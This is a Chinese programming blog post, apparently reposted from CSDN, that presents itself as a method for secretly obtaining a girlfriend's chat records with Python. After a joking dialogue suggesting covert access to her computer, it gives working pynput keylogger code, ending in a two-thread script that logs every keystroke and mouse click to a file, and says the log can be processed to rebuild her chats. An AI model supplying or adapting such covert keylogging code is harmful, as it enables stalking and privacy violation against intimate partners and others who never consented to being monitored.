Python获取女友聊天记录详细流程

作者:世上本无鬼 时间:2022-06-29 21:38:19 

Python获取女友聊天记录详细流程

A朋友:你直接问。
B朋友:你女朋友睡了后,偷偷拿电脑查。
C朋友:咱们不吊死在一棵树上,不对劲就早点脱身。
D朋友:我觉得A的不行,直接问容易打草惊蛇,不过他在你面前表现的这么明显,你可以去找他聊下,你们之间是不是感情出问题了。
F朋友:嘿,我不和你离的不远吗?支开你女朋友我上你家,帮你搞个能获得聊天记录的,这不就完美了吗?

Python获取女友聊天记录详细流程

1.使用pynput库

pynput 可以监控我们的键盘和鼠标。目前具有此类功能的库有很多,比如 pygame 等游戏库,但是当我们只需要监控键盘和鼠标时,它们就显得过于笨重了。

2.对键盘监控

在他的电脑常驻一个后台进程去实现监控键盘输入并记录下来,代码大概可以这样:


from pynput import keyboard

def on_press(key):
   print(f'{key} :pushed')

def on_release(key):
   #print(f'{key} released')
   if key == keyboard.Key.esc:
       # Stop listener
       return False

with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
   lsn.join()

控制台打印:

Python获取女友聊天记录详细流程

3.对鼠标监控


from pynput import mouse

def on_click(x, y, button, pressed):
   if button == mouse.Button.left:
       print('left was pressed!')
   elif button == mouse.Button.right:
       print('right was pressed!')
       return False
   else:
       print('mid was pressed!')

# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
   listener.join()

控制台打印:

Python获取女友聊天记录详细流程

你会发现,每条打印都被打印了两次,这是因为按下去和抬起来都会触发鼠标事件。

4.监控并记录到日志文件


from pynput import keyboard,mouse
from loguru import logger
from threading import Thread

# 定义日志文件
logger.add('demo.log')
def on_press(key):
   logger.debug(f'{key} :pushed')

def on_release(key):
   #print(f'{key} released')
   if key == keyboard.Key.esc:
       # Stop listener
       return False

# 定义f1用于线程1
def f1():
   with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
       lsn.join()

def on_click(x, y, button, pressed):
   if button == mouse.Button.left:
       logger.debug('left was pressed!')
   elif button == mouse.Button.right:
       logger.debug('right was pressed!')
       return False
   else:
       logger.debug('mid was pressed!')

# 定义f2用于线程2
def f2():
   # Collect events until released
   with mouse.Listener(on_click=on_click) as listener:
       listener.join()

if __name__ == '__main__':
   # 起两个线程分别监控键盘和鼠标
   t1 = Thread(target=f1)
   t2 = Thread(target=f2)
   t1.start()
   t2.start()

查看日志内容:

Python获取女友聊天记录详细流程

这样键盘操作已经全部被记录,通过对这个日志文件进行简单的 NLTK 语言处理,就能复原聊天记录。
这个记录就不给你们展示了,属于隐私,但能告诉你们结果,嗯,其实他女友挺好,看我上铺兄弟每次都要加班很晚,身体有点不行了,但又好面子,所以偷偷给他在网上买补药,想给他补补~笑死

Python获取女友聊天记录详细流程

来源:https://blog.csdn.net/weixin_57577264/article/details/120768337

标签:Python,获取聊天记录
0
投稿

猜你喜欢

  • Git中tag标签的使用教程

    2022-06-26 08:15:00
  • golang 实现每隔几分钟执行一个函数

    2024-05-22 17:48:14
  • HTML 标签是否匹配检测代码

    2010-03-17 20:50:00
  • Python中字符串的常见操作技巧总结

    2021-06-26 18:35:45
  • 擦除式图片轮番显示效果

    2013-08-10 11:01:48
  • python打包多类型文件的操作方法

    2023-05-22 07:23:31
  • Python 实现将大图切片成小图,将小图组合成大图的例子

    2023-05-23 18:08:36
  • 几个javascript显示加载进度条代码

    2008-01-19 10:52:00
  • Vue3+Vite实现动态路由的详细实例代码

    2023-07-02 16:58:37
  • 教你用Python创建微信聊天机器人

    2021-10-06 21:50:14
  • Javascript Closures (2)

    2009-03-18 12:22:00
  • 浅谈JavaScript函数节流

    2024-05-03 15:59:31
  • Python面向对象之内置函数相关知识总结

    2022-06-05 10:30:24
  • SQL Server 2000 占内存居高不下可能的原因及其解决方法

    2010-04-25 10:39:00
  • 详解Python3 中hasattr()、getattr()、setattr()、delattr()函数及示例代码数

    2023-08-21 15:36:40
  • MSSQL数据库占用内存过大造成服务器死机问题的解决方法

    2024-01-18 20:20:09
  • python字符串格式化方式解析

    2021-06-22 14:01:46
  • 使用Go语言创建静态文件服务器问题

    2024-04-26 17:17:55
  • php截取字符串函数substr,iconv_substr,mb_substr示例以及优劣分析

    2024-05-11 10:02:47
  • python opencv图片编码为h264文件的实例

    2023-01-12 13:22:07
  • asp之家 网络编程 m.aspxhome.com